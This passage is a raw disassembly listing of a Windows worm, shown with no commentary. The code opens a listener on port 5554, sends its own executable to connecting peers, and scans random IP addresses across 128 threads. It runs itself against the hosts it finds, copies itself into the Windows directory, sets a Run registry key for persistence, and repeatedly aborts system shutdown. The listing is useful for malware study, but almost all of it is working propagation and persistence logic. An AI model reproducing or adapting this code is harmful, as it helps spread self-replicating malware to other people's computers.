pop ecx
test ebx, ebx
jz loc_401DB9
push 10h
lea eax, [ebp+var_28]
push 0
push eax
call sub_4021B0
add esp, 0Ch
mov [ebp+var_28], 2
push edi
call ds:dword_4050F4 ; htons
push 0
push 1
push 2
mov [ebp+var_26], ax
mov [ebp+var_24], ebx
call ds:dword_4050F8 ; socket
mov ebx, eax
cmp ebx, 0FFFFFFFFh
mov [ebp+var_C], ebx
jz loc_401DB9
lea eax, [ebp+var_28]
push 10h
push eax
push ebx
call ds:dword_4050FC ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_401D44
push ebx
call ds:dword_40511C ; closesocket
jmp short loc_401DB9
; ---------------------------------------------------------------------------
loc_401D44: ; CODE XREF: sub_401B08+231j
lea eax, [ebp+var_8E4]
push 400h
push eax
push 0
call ds:dword_405034 ; GetModuleFileNameA
lea eax, [ebp+var_8E4]
push 0
push eax
call ds:dword_405030 ; _lopen
cmp eax, 0FFFFFFFFh
mov [ebp+var_8], eax
jz short loc_401DB9
lea eax, [ebp+var_2]
push offset dword_406F38
push eax
call sub_402720
mov ebx, ds:dword_40502C
pop ecx
pop ecx
lea eax, [ebp+var_2]
push 1
push eax
push [ebp+var_8]
loc_401D8E: ; CODE XREF: sub_401B08+2A6j
call ebx ; _hread
cmp eax, 1
jnz short loc_401DB0
and [ebp+var_1], 0
push 0
push eax
lea eax, [ebp+var_2]
push eax
push [ebp+var_C]
call esi ; send
lea eax, [ebp+var_2]
push 1
push eax
push [ebp+var_8]
jmp short loc_401D8E
; ---------------------------------------------------------------------------
loc_401DB0: ; CODE XREF: sub_401B08+28Bj
push [ebp+var_8]
call ds:dword_40501C ; _lclose
loc_401DB9: ; CODE XREF: sub_401B08+1DDj
; sub_401B08+21Bj ...
push [ebp+var_C]
call ds:dword_40511C ; closesocket
push 0
push ds:off_4068DC
call sub_402210
pop ecx
push eax
push ds:off_4068DC
loc_401DD7: ; CODE XREF: sub_401B08+197j
push [ebp+arg_0]
jmp short loc_401E12
; ---------------------------------------------------------------------------
loc_401DDC: ; CODE XREF: sub_401B08+1B1j
lea eax, [ebp+var_4E4]
push offset aQuit ; "QUIT"
push eax
call sub_402600
pop ecx
test eax, eax
pop ecx
jz short loc_401DFC
push ebx
call ds:dword_40511C ; closesocket
jmp short loc_401E14
; ---------------------------------------------------------------------------
loc_401DFC: ; CODE XREF: sub_401B08+2E9j
push 0
push ds:off_4068DC
call sub_402210
pop ecx
push eax
push ds:off_4068DC
loc_401E11: ; CODE XREF: sub_401B08+8Aj
; sub_401B08+BBj
push ebx
loc_401E12: ; CODE XREF: sub_401B08+2D2j
call esi ; send
loc_401E14: ; CODE XREF: sub_401B08+2F2j
cmp [ebp+var_10], 0
jg loc_401B43
push [ebp+arg_0]
call ds:dword_40511C ; closesocket
pop edi
pop esi
loc_401E29: ; CODE XREF: sub_401B08+10j
xor eax, eax
pop ebx
leave
retn 4
sub_401B08 endp
; =============== S U B R O U T I N E =======================================
sub_401E30 proc near ; CODE XREF: sub_401B08+119p
; sub_401B08+129p ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push edi
xor edi, edi
loc_401E38: ; CODE XREF: sub_401E30+13j
mov al, [esi]
cmp al, 20h
jz short loc_401E42
cmp al, 9
jnz short loc_401E45
loc_401E42: ; CODE XREF: sub_401E30+Cj
inc esi
jmp short loc_401E38
; ---------------------------------------------------------------------------
loc_401E45: ; CODE XREF: sub_401E30+10j
; sub_401E30+2Ej
movsx eax, byte ptr [esi]
push eax
call sub_402810
test eax, eax
pop ecx
jz short loc_401E60
movsx ecx, byte ptr [esi]
lea eax, [edi+edi*4]
inc esi
lea edi, [ecx+eax*2-30h]
jmp short loc_401E45
; ---------------------------------------------------------------------------
loc_401E60: ; CODE XREF: sub_401E30+21j
mov eax, edi
pop edi
pop esi
retn
sub_401E30 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401E65 proc near ; DATA XREF: sub_402029+79o
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = byte ptr -4
push ebp
mov ebp, esp
sub esp, 14h
push esi
xor esi, esi
push edi
push esi
push 1
push 2
call ds:dword_4050F8 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
jnz short loc_401E89
loc_401E81: ; CODE XREF: sub_401E65+63j
pop edi
xor eax, eax
pop esi
leave
retn 4
; ---------------------------------------------------------------------------
loc_401E89: ; CODE XREF: sub_401E65+1Aj
push 15B2h
mov [ebp+var_14], 2
call ds:dword_4050F4 ; htons
mov [ebp+var_12], ax
lea eax, [ebp+var_14]
push 10h
push eax
push edi
mov [ebp+var_10], esi
call ds:dword_405118 ; bind
cmp eax, 0FFFFFFFFh
jz short loc_401EC1
push 5
push edi
call ds:dword_405100 ; listen
cmp eax, 0FFFFFFFFh
jnz short loc_401ECA
loc_401EC1: ; CODE XREF: sub_401E65+4Cj
push edi
call ds:dword_40511C ; closesocket
jmp short loc_401E81
; ---------------------------------------------------------------------------
loc_401ECA: ; CODE XREF: sub_401E65+5Aj
; sub_401E65+89j
push esi
push esi
push edi
call ds:dword_4050E8 ; accept
lea ecx, [ebp+var_4]
push ecx
push esi
push eax
push offset sub_401B08
push esi
push esi
call ds:dword_405038 ; CreateThread
push 19h
call ds:dword_405028 ; Sleep
jmp short loc_401ECA
sub_401E65 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_401EF0 proc near ; DATA XREF: sub_402029+8Do
var_454 = byte ptr -454h
var_438 = byte ptr -438h
var_400 = byte ptr -400h
sub esp, 454h
push ebx
push ebp
mov ebp, ds:dword_4050E0
push esi
push edi
mov esi, 0FFh
loc_401F05: ; CODE XREF: sub_401EF0+134j
lea eax, [esp+464h+var_438]
push eax
call sub_4010D2
pop ecx
lea eax, [esp+464h+var_438]
push eax
call ds:dword_40510C ; inet_addr
movsx edi, al
test edi, edi
movsx ebx, ah
jge short loc_401F2B
add edi, 100h
loc_401F2B: ; CODE XREF: sub_401EF0+33j
test ebx, ebx
jge short loc_401F35
add ebx, 100h
loc_401F35: ; CODE XREF: sub_401EF0+3Dj
call sub_401000
push 1Fh
cdq
pop ecx
idiv ecx
cmp edx, 0Fh
jle short loc_401F92
call sub_401000
push 1Fh
cdq
pop ecx
idiv ecx
cmp edx, 0Fh
jle short loc_401F78
call sub_401000
cdq
mov ecx, esi
idiv ecx
push edx
call sub_401000
cdq
mov ecx, esi
idiv ecx
push edx
call sub_401000
cdq
mov ecx, esi
idiv ecx
push edx
jmp short loc_401F8F
; ---------------------------------------------------------------------------
loc_401F78: ; CODE XREF: sub_401EF0+63j
call sub_401000
cdq
mov ecx, esi
idiv ecx
push edx
call sub_401000
cdq
mov ecx, esi
idiv ecx
push edx
push ebx
loc_401F8F: ; CODE XREF: sub_401EF0+86j
push edi
jmp short loc_401FBE
; ---------------------------------------------------------------------------
loc_401F92: ; CODE XREF: sub_401EF0+53j
call sub_401000
cdq
mov ecx, esi
idiv ecx
push edx
call sub_401000
cdq
mov ecx, esi
idiv ecx
push edx
call sub_401000
cdq
mov ecx, esi
idiv ecx
push edx
call sub_401000
cdq
mov ecx, esi
idiv ecx
push edx
loc_401FBE: ; CODE XREF: sub_401EF0+A0j
lea eax, [esp+474h+var_454]
push offset aI_I_I_I ; "%i.%i.%i.%i"
push eax
call ebp ; wsprintfA
add esp, 18h
lea eax, [esp+464h+var_454]
push eax
call sub_401153
cmp al, 1
pop ecx
jnz short loc_40201C
lea eax, [esp+464h+var_400]
push 400h
push eax
push 0
call ds:dword_405034 ; GetModuleFileNameA
lea eax, [esp+464h+var_400]
push offset asc_406A7C ; " "
push eax
call sub_402730
lea eax, [esp+46Ch+var_454]
push eax
lea eax, [esp+470h+var_400]
push eax
call sub_402730
add esp, 10h
lea eax, [esp+464h+var_400]
push 0
push eax
call ds:dword_40503C ; WinExec
loc_40201C: ; CODE XREF: sub_401EF0+EAj
push 19h
call ds:dword_405028 ; Sleep
jmp loc_401F05
sub_401EF0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402029 proc near ; CODE XREF: sub_40283E+C9p
var_14 = dword ptr -14h
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
push esi
push edi
mov edi, ds:dword_405048
xor esi, esi
push offset aJobaka3 ; "Jobaka3"
push esi
push esi
call edi ; CreateMutexA
call ds:dword_405044 ; GetTickCount
push eax
call sub_40101E
call sub_401028
push [ebp+arg_8]
call sub_402210
pop ecx
test eax, eax
pop ecx
jbe short loc_402072
push [ebp+arg_8]
call sub_401A84
pop ecx
push 1
pop eax
loc_40206C: ; CODE XREF: sub_402029+6Aj
pop edi
pop esi
leave
retn 10h
; ---------------------------------------------------------------------------
loc_402072: ; CODE XREF: sub_402029+35j
push 1
call sub_4020D7
mov [esp+14h+var_14], offset aJumpallsnlstil ; "JumpallsNlsTillt"
push esi
push esi
call edi ; CreateMutexA
call ds:dword_405040 ; RtlGetLastWin32Error
cmp eax, 0B7h
jnz short loc_402095
xor eax, eax
jmp short loc_40206C
; ---------------------------------------------------------------------------
loc_402095: ; CODE XREF: sub_402029+66j
mov edi, ds:dword_405038
lea eax, [ebp+var_4]
push ebx
push eax
push esi
push esi
push offset sub_401E65
push esi
push esi
call edi ; CreateThread
mov ebx, 80h
loc_4020B0: ; CODE XREF: sub_402029+97j
lea eax, [ebp+var_8]
push eax
push esi
push esi
push offset sub_401EF0
push esi
push esi
call edi ; CreateThread
dec ebx
jnz short loc_4020B0
pop ebx
loc_4020C3: ; CODE XREF: sub_402029+ACj
push esi
call ds:dword_405000 ; AbortSystemShutdownA
push 0BB8h
call ds:dword_405028 ; Sleep
jmp short loc_4020C3
sub_402029 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4020D7 proc near ; CODE XREF: sub_402029+4Bp
var_824 = byte ptr -824h
var_425 = byte ptr -425h
var_424 = byte ptr -424h
var_4 = dword ptr -4
arg_0 = byte ptr 8
push ebp
mov ebp, esp
sub esp, 824h
push esi
mov esi, 400h
lea eax, [ebp+var_824]
push esi
push eax
push 0
call ds:dword_405034 ; GetModuleFileNameA
lea eax, [ebp+var_424]
push esi
push eax
call ds:dword_405050 ; GetWindowsDirectoryA
lea eax, [ebp+var_424]
push eax
call sub_402210
cmp [ebp+eax+var_425], 5Ch
pop ecx
pop esi
jz short loc_40212F
lea eax, [ebp+var_424]
push offset asc_406ACC ; "\\"
push eax
call sub_402730
pop ecx
pop ecx
loc_40212F: ; CODE XREF: sub_4020D7+43j
push ds:off_4068C8
lea eax, [ebp+var_424]
push eax
call sub_402730
cmp [ebp+arg_0], 0
pop ecx
pop ecx
jz short loc_40215F
lea eax, [ebp+var_424]
push 0
push eax
lea eax, [ebp+var_824]
push eax
call ds:dword_40504C ; CopyFileA
loc_40215F: ; CODE XREF: sub_4020D7+70j
lea eax, [ebp+var_4]
push eax
push offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"...
push 80000002h
call ds:dword_405004 ; RegOpenKeyA
lea eax, [ebp+var_424]
push eax
call sub_402210
pop ecx
push eax
lea eax, [ebp+var_424]
push eax
push 1
push 0
push ds:off_4068C8
push [ebp+var_4]
call ds:dword_405008 ; RegSetValueExA
push [ebp+var_4]
call ds:dword_40500C ; RegCloseKey
leave
retn
sub_4020D7 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4021B0 proc near ; CODE XREF: sub_401153+10p
; sub_401153+40p ...
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
mov edx, [esp+arg_8]
mov ecx, [esp+arg_0]
test edx, edx
jz short loc_402203
xor eax, eax
mov al, [esp+arg_4]
push edi
mov edi, ecx
cmp edx, 4
jb short loc_4021F7
neg ecx
and ecx, 3
jz short loc_4021D9
sub edx, ecx
loc_4021D3: ; CODE XREF: sub_4021B0+27j
mov [edi], al
inc edi
dec ecx
jnz short loc_4021D3
loc_4021D9: ; CODE XREF: sub_4021B0+1Fj
mov ecx, eax
shl eax, 8
add eax, ecx
mov ecx, eax
shl eax, 10h
add eax, ecx
mov ecx, edx
and edx, 3
shr ecx, 2
jz short loc_4021F7
rep stosd
test edx, edx
jz short loc_4021FD
loc_4021F7: ; CODE XREF: sub_4021B0+18j
; sub_4021B0+3Fj ...
mov [edi], al
inc edi
dec edx
jnz short loc_4021F7
loc_4021FD: ; CODE XREF: sub_4021B0+45j
mov eax, [esp+4+arg_0]
pop edi
retn
; ---------------------------------------------------------------------------
loc_402203: ; CODE XREF: sub_4021B0+Aj
mov eax, [esp+arg_0]
retn
sub_4021B0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_402210 proc near ; CODE XREF: sub_401210+3Ep
; sub_401210+55p ...
arg_0 = dword ptr 4
mov ecx, [esp+arg_0]
test ecx, 3
jz short loc_402230
loc_40221C: ; CODE XREF: sub_402210+19j
mov al, [ecx]
inc ecx
test al, al
jz short loc_402263
test ecx, 3
jnz short loc_40221C
add eax, 0
loc_402230: ; CODE XREF: sub_402210+Aj
; sub_402210+36j ...
mov eax, [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add ecx, 4
test eax, 81010100h
jz short loc_402230
mov eax, [ecx-4]
test al, al
jz short loc_402281
test ah, ah
jz short loc_402277
test eax, 0FF0000h
jz short loc_40226D
test eax, 0FF000000h
jz short loc_402263
jmp short loc_402230
; ---------------------------------------------------------------------------
loc_402263: ; CODE XREF: sub_402210+11j
; sub_402210+4Fj
lea eax, [ecx-1]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_40226D: ; CODE XREF: sub_402210+48j
lea eax, [ecx-2]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_402277: ; CODE XREF: sub_402210+41j
lea eax, [ecx-3]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
; ---------------------------------------------------------------------------
loc_402281: ; CODE XREF: sub_402210+3Dj
lea eax, [ecx-4]
mov ecx, [esp+arg_0]
sub eax, ecx
retn
sub_402210 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402290 proc near ; CODE XREF: sub_401398+59p
; sub_401398+78p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push edi
push esi
mov esi, [ebp+arg_4]
mov ecx, [ebp+arg_8]
mov edi, [ebp+arg_0]
mov eax, ecx
mov edx, ecx
add eax, esi
cmp edi, esi
jbe short loc_4022B0
cmp edi, eax
jb loc_402428
loc_4022B0: ; CODE XREF: sub_402290+16j
test edi, 3
jnz short loc_4022CC
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_4022EC
rep movsd
jmp ds:off_4023D8[edx*4]
; ---------------------------------------------------------------------------
loc_4022CC: ; CODE XREF: sub_402290+26j
mov eax, edi
mov edx, 3
sub ecx, 4
jb short loc_4022E4
and eax, 3
add ecx, eax
jmp dword ptr ds:loc_4022EC+4[eax*4]
; ---------------------------------------------------------------------------
loc_4022E4: ; CODE XREF: sub_402290+46j
jmp dword ptr ds:loc_4023E8[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_4022EC: ; CODE XREF: sub_402290+31j
; sub_402290+8Ej ...
jmp ds:off_40236C[ecx*4]
; ---------------------------------------------------------------------------
db 90h
dd offset loc_402300
dd offset loc_40232C
; ---------------------------------------------------------------------------
push eax
and eax, [eax+0]
loc_402300: ; DATA XREF: sub_402290+64o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
add esi, 3
add edi, 3
cmp ecx, 8
jb short loc_4022EC
rep movsd
jmp ds:off_4023D8[edx*4]
; ---------------------------------------------------------------------------
align 4
loc_40232C: ; DATA XREF: sub_402290+68o
and edx, ecx
mov al, [esi]
mov [edi], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
add esi, 2
add edi, 2
cmp ecx, 8
jb short loc_4022EC
rep movsd
jmp ds:off_4023D8[edx*4]
; ---------------------------------------------------------------------------
align 10h
and edx, ecx
mov al, [esi]
mov [edi], al
inc esi
shr ecx, 2
inc edi
cmp ecx, 8
jb short loc_4022EC
rep movsd
jmp ds:off_4023D8[edx*4]
; ---------------------------------------------------------------------------
align 4
off_40236C dd offset loc_4023CF ; DATA XREF: sub_402290:loc_4022ECr
dd offset loc_4023BC
dd offset loc_4023B4
dd offset loc_4023AC
dd offset loc_4023A4
dd offset loc_40239C
dd offset loc_402394
dd offset loc_40238C
; ---------------------------------------------------------------------------
loc_40238C: ; CODE XREF: sub_402290:loc_4022ECj
; DATA XREF: sub_402290+F8o
mov eax, [esi+ecx*4-1Ch]
mov [edi+ecx*4-1Ch], eax
loc_402394: ; CODE XREF: sub_402290:loc_4022ECj
; DATA XREF: sub_402290+F4o
mov eax, [esi+ecx*4-18h]
mov [edi+ecx*4-18h], eax
loc_40239C: ; CODE XREF: sub_402290:loc_4022ECj
; DATA XREF: sub_402290+F0o
mov eax, [esi+ecx*4-14h]
mov [edi+ecx*4-14h], eax
loc_4023A4: ; CODE XREF: sub_402290:loc_4022ECj
; DATA XREF: sub_402290+ECo
mov eax, [esi+ecx*4-10h]
mov [edi+ecx*4-10h], eax
loc_4023AC: ; CODE XREF: sub_402290:loc_4022ECj
; DATA XREF: sub_402290+E8o
mov eax, [esi+ecx*4-0Ch]
mov [edi+ecx*4-0Ch], eax
loc_4023B4: ; CODE XREF: sub_402290:loc_4022ECj
; DATA XREF: sub_402290+E4o
mov eax, [esi+ecx*4-8]
mov [edi+ecx*4-8], eax
loc_4023BC: ; CODE XREF: sub_402290:loc_4022ECj
; DATA XREF: sub_402290+E0o
mov eax, [esi+ecx*4-4]
mov [edi+ecx*4-4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_4023CF: ; CODE XREF: sub_402290:loc_4022ECj
; DATA XREF: sub_402290:off_40236Co
jmp ds:off_4023D8[edx*4]
; ---------------------------------------------------------------------------
align 4
off_4023D8 dd offset loc_4023E8 ; DATA XREF: sub_402290+35r
; sub_402290+92r ...
dd offset loc_4023F0
dd offset loc_4023FC
dd offset loc_402410
; ---------------------------------------------------------------------------
loc_4023E8: ; CODE XREF: sub_402290+35j
; sub_402290+92j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_4023F0: ; CODE XREF: sub_402290+35j
; sub_402290+92j ...
mov al, [esi]
mov [edi], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_4023FC: ; CODE XREF: sub_402290+35j
; sub_402290+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 10h
loc_402410: ; CODE XREF: sub_402290+35j
; sub_402290+92j ...
mov al, [esi]
mov [edi], al
mov al, [esi+1]
mov [edi+1], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_402428: ; CODE XREF: sub_402290+1Aj
lea esi, [ecx+esi-4]
lea edi, [ecx+edi-4]
test edi, 3
jnz short loc_40245C
shr ecx, 2
and edx, 3
cmp ecx, 8
jb short loc_402450
std
rep movsd
cld
jmp ds:off_402570[edx*4]
; ---------------------------------------------------------------------------
align 10h
loc_402450: ; CODE XREF: sub_402290+1B1j
; sub_402290+208j ...
neg ecx
jmp ds:off_402520[ecx*4]
; ---------------------------------------------------------------------------
align 4
loc_40245C: ; CODE XREF: sub_402290+1A6j
mov eax, edi
mov edx, 3
cmp ecx, 4
jb short loc_402474
and eax, 3
sub ecx, eax
jmp dword ptr ds:loc_402474+4[eax*4]
; ---------------------------------------------------------------------------
loc_402474: ; CODE XREF: sub_402290+1D6j
; DATA XREF: sub_402290+1DDr
jmp ds:off_402570[ecx*4]
; ---------------------------------------------------------------------------
align 4
mov [eax+eax*2], ah
add [eax-2FFFBFDCh], ch
and al, 40h
add [edx-2EDCFCBAh], cl
mov [edi+3], al
dec esi
shr ecx, 2
dec edi
cmp ecx, 8
jb short loc_402450
std
rep movsd
cld
jmp ds:off_402570[edx*4]
; ---------------------------------------------------------------------------
align 4
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
shr ecx, 2
mov [edi+2], al
sub esi, 2
sub edi, 2
cmp ecx, 8
jb short loc_402450
std
rep movsd
cld
jmp ds:off_402570[edx*4]
; ---------------------------------------------------------------------------
align 10h
mov al, [esi+3]
and edx, ecx
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
shr ecx, 2
mov [edi+1], al
sub esi, 3
sub edi, 3
cmp ecx, 8
jb loc_402450
std
rep movsd
cld
jmp ds:off_402570[edx*4]
; ---------------------------------------------------------------------------
align 4
dd offset loc_402524
dd offset loc_40252C
dd offset loc_402534
dd offset loc_40253C
dd offset loc_402544
dd offset loc_40254C
dd offset loc_402554
off_402520 dd offset loc_402567 ; DATA XREF: sub_402290+1C2r
; ---------------------------------------------------------------------------
loc_402524: ; DATA XREF: sub_402290+274o
mov eax, [esi+ecx*4+1Ch]
mov [edi+ecx*4+1Ch], eax
loc_40252C: ; DATA XREF: sub_402290+278o
mov eax, [esi+ecx*4+18h]
mov [edi+ecx*4+18h], eax
loc_402534: ; DATA XREF: sub_402290+27Co
mov eax, [esi+ecx*4+14h]
mov [edi+ecx*4+14h], eax
loc_40253C: ; DATA XREF: sub_402290+280o
mov eax, [esi+ecx*4+10h]
mov [edi+ecx*4+10h], eax
loc_402544: ; DATA XREF: sub_402290+284o
mov eax, [esi+ecx*4+0Ch]
mov [edi+ecx*4+0Ch], eax
loc_40254C: ; DATA XREF: sub_402290+288o
mov eax, [esi+ecx*4+8]
mov [edi+ecx*4+8], eax
loc_402554: ; DATA XREF: sub_402290+28Co
mov eax, [esi+ecx*4+4]
mov [edi+ecx*4+4], eax
lea eax, ds:0[ecx*4]
add esi, eax
add edi, eax
loc_402567: ; CODE XREF: sub_402290+1C2j
; DATA XREF: sub_402290:off_402520o
jmp ds:off_402570[edx*4]
; ---------------------------------------------------------------------------
align 10h
off_402570 dd offset loc_402580 ; DATA XREF: sub_402290+1B7r
; sub_402290:loc_402474r ...
dd offset loc_402588
dd offset loc_402598
dd offset loc_4025AC
; ---------------------------------------------------------------------------
loc_402580: ; CODE XREF: sub_402290+1B7j
; sub_402290:loc_402474j ...
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_402588: ; CODE XREF: sub_402290+1B7j
; sub_402290:loc_402474j ...
mov al, [esi+3]
mov [edi+3], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_402598: ; CODE XREF: sub_402290+1B7j
; sub_402290:loc_402474j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
; ---------------------------------------------------------------------------
align 4
loc_4025AC: ; CODE XREF: sub_402290+1B7j
; sub_402290:loc_402474j ...
mov al, [esi+3]
mov [edi+3], al
mov al, [esi+2]
mov [edi+2], al
mov al, [esi+1]
mov [edi+1], al
mov eax, [ebp+arg_0]
pop esi
pop edi
leave
retn
sub_402290 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4025D0 proc near ; CODE XREF: sub_40159E+8p
; sub_40371C+DFp ...
arg_0 = byte ptr 4
push ecx
cmp eax, 1000h
lea ecx, [esp+4+arg_0]
jb short loc_4025F0
loc_4025DC: ; CODE XREF: sub_4025D0+1Ej
sub ecx, 1000h
sub eax, 1000h
test [ecx], eax
cmp eax, 1000h
jnb short loc_4025DC
loc_4025F0: ; CODE XREF: sub_4025D0+Aj
sub ecx, eax
mov eax, esp
test [ecx], eax
mov esp, ecx
mov ecx, [eax]
mov eax, [eax+4]
push eax
retn
sub_4025D0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_402600 proc near ; CODE XREF: sub_401A84+2Dp
; sub_401A84+50p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_4]
push edi
push ebx
push esi
mov dl, [ecx]
mov edi, [esp+0Ch+arg_0]
test dl, dl
jz short loc_40267A
mov dh, [ecx+1]
test dh, dh
jz short loc_402667
loc_402618: ; CODE XREF: sub_402600+52j
; sub_402600+65j
mov esi, edi
mov ecx, [esp+0Ch+arg_4]
mov al, [edi]
inc esi
cmp al, dl
jz short loc_40263A
test al, al
jz short loc_402634
loc_402629: ; CODE XREF: sub_402600+32j
mov al, [esi]
inc esi
loc_40262C: ; CODE XREF: sub_402600+3Fj
cmp al, dl
jz short loc_40263A
test al, al
jnz short loc_402629
loc_402634: ; CODE XREF: sub_402600+27j
pop esi
pop ebx
pop edi
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_40263A: ; CODE XREF: sub_402600+23j
; sub_402600+2Ej
mov al, [esi]
inc esi
cmp al, dh
jnz short loc_40262C
lea edi, [esi-1]
loc_402644: ; CODE XREF: sub_402600+63j
mov ah, [ecx+2]
test ah, ah
jz short loc_402673
mov al, [esi]
add esi, 2
cmp al, ah
jnz short loc_402618
mov al, [ecx+3]
test al, al
jz short loc_402673
mov ah, [esi-1]
add ecx, 2
cmp al, ah
jz short loc_402644
jmp short loc_402618
; ---------------------------------------------------------------------------
loc_402667: ; CODE XREF: sub_402600+16j
xor eax, eax
pop esi
pop ebx
pop edi
mov al, dl
jmp sub_402996
; ---------------------------------------------------------------------------
loc_402673: ; CODE XREF: sub_402600+49j
; sub_402600+59j
lea eax, [edi-1]
pop esi
pop ebx
pop edi
retn
; ---------------------------------------------------------------------------
loc_40267A: ; CODE XREF: sub_402600+Fj
mov eax, edi
pop esi
pop ebx
pop edi
retn
sub_402600 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_402680 proc near ; CODE XREF: sub_401B08+103p
; sub_401B08+14Cp
var_20 = byte ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 20h
push ebx
push esi
mov esi, [ebp+arg_4]
push edi
push 8
xor eax, eax
pop ecx
lea edi, [ebp+var_20]
rep stosd
push 7
pop edi
loc_402699: ; CODE XREF: sub_402680+32j
mov dl, [esi]
mov bl, 1
movzx ecx, dl
mov eax, ecx
and ecx, edi
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_20]
or [eax], bl
inc esi
test dl, dl
jnz short loc_402699
mov edx, [ebp+arg_0]
test edx, edx
jnz short loc_4026C1
mov edx, ds:dword_406F3C
loc_4026C1: ; CODE XREF: sub_402680+39j
; sub_402680+5Fj
mov al, [edx]
push 1
movzx esi, al
mov ecx, esi
pop ebx
and ecx, edi
shl ebx, cl
shr esi, 3
mov cl, [ebp+esi+var_20]
test bl, cl
jz short loc_4026E1
test al, al
jz short loc_4026E1
inc edx
jmp short loc_4026C1
; ---------------------------------------------------------------------------
loc_4026E1: ; CODE XREF: sub_402680+58j
; sub_402680+5Cj
mov ebx, edx
loc_4026E3: ; CODE XREF: sub_402680+81j
mov al, [edx]
test al, al
jz short loc_402707
movzx esi, al
mov ecx, esi
push 1
and ecx, edi
pop eax
shl eax, cl
shr esi, 3
mov cl, [ebp+esi+var_20]
test al, cl
jnz short loc_402703
inc edx
jmp short loc_4026E3
; ---------------------------------------------------------------------------
loc_402703: ; CODE XREF: sub_402680+7Ej
and byte ptr [edx], 0
inc edx
loc_402707: ; CODE XREF: sub_402680+67j
mov eax, ebx
pop edi
sub eax, edx
pop esi
neg eax
sbb eax, eax
mov ds:dword_406F3C, edx
and eax, ebx
pop ebx
leave
retn
sub_402680 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_402720 proc near ; CODE XREF: sub_401B08+E9p
; sub_401B08+270p ...
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
jmp short loc_402791
sub_402720 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_402730 proc near ; CODE XREF: sub_401EF0+108p
; sub_401EF0+117p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov ecx, [esp+arg_0]
push edi
test ecx, 3
jz short loc_40274C
loc_40273D: ; CODE XREF: sub_402730+1Aj
mov al, [ecx]
inc ecx
test al, al
jz short loc_40277F
test ecx, 3
jnz short loc_40273D
loc_40274C: ; CODE XREF: sub_402730+Bj
; sub_402730+32j ...
mov eax, [ecx]
mov edx, 7EFEFEFFh
add edx, eax
xor eax, 0FFFFFFFFh
xor eax, edx
add ecx, 4
test eax, 81010100h
jz short loc_40274C
mov eax, [ecx-4]
test al, al
jz short loc_40278E
test ah, ah
jz short loc_402789
test eax, 0FF0000h
jz short loc_402784
test eax, 0FF000000h
jz short loc_40277F
jmp short loc_40274C
; ---------------------------------------------------------------------------
loc_40277F: ; CODE XREF: sub_402730+12j
; sub_402730+4Bj
lea edi, [ecx-1]
jmp short loc_402791
; ---------------------------------------------------------------------------
loc_402784: ; CODE XREF: sub_402730+44j
lea edi, [ecx-2]
jmp short loc_402791
; ---------------------------------------------------------------------------
